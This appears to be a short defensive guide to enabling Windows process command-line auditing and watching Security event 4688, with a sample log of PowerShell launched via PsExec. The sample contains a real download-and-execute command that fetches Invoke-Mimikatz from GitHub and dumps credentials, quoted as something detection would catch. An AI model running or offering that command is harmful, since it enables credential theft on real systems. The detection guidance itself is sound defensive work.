Log Full All Command Line Launched Processes

Log Full Command Line of All Processes

Windows 7+ now supports logging full command line of all launched processes **natively**

To turn on this awesome feature, run gpedit.msc and set:

- Computer Configuration\Windows Settings\Security Settings\Advanced Audit Policy Configuration\System Audit Policies\Detailed Tracking
- Computer Configuration\Administrative Templates\System\Audit Process Creation
- Be sure to also enable the feature "Include command line in process creation events" under Audit Process Creation[1]

Then monitor Security event ID 4688:

- **PS> Get-WinEvent @{Logname="Security"; ID=4688}**

PowerShell via PsExec: Event Log View

- Event is logged via security Event 4688 (and Sysmon event 1)
- Telltale sign (beyond the Command Line):
  - Creator Process Name: C:\Windows\PSEXESVC.exe

```
Process Information:
 New Process ID:          0xe3c
 New Process Name:        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 Token Elevation Type:    %%1937
 Mandatory Label:                 S-1-16-12288
 Creator Process ID:      0x9b4
 Creator Process Name:    C:\Windows\PSEXESVC.exe
 Process Command Line:    "powershell.exe" "IEX (New-Object Net.WebClient).DownloadStr

ng('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration
/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

Token Elevation Type indicates the type of token that was assigned to the new
process in accordance with User Account Control policy.
```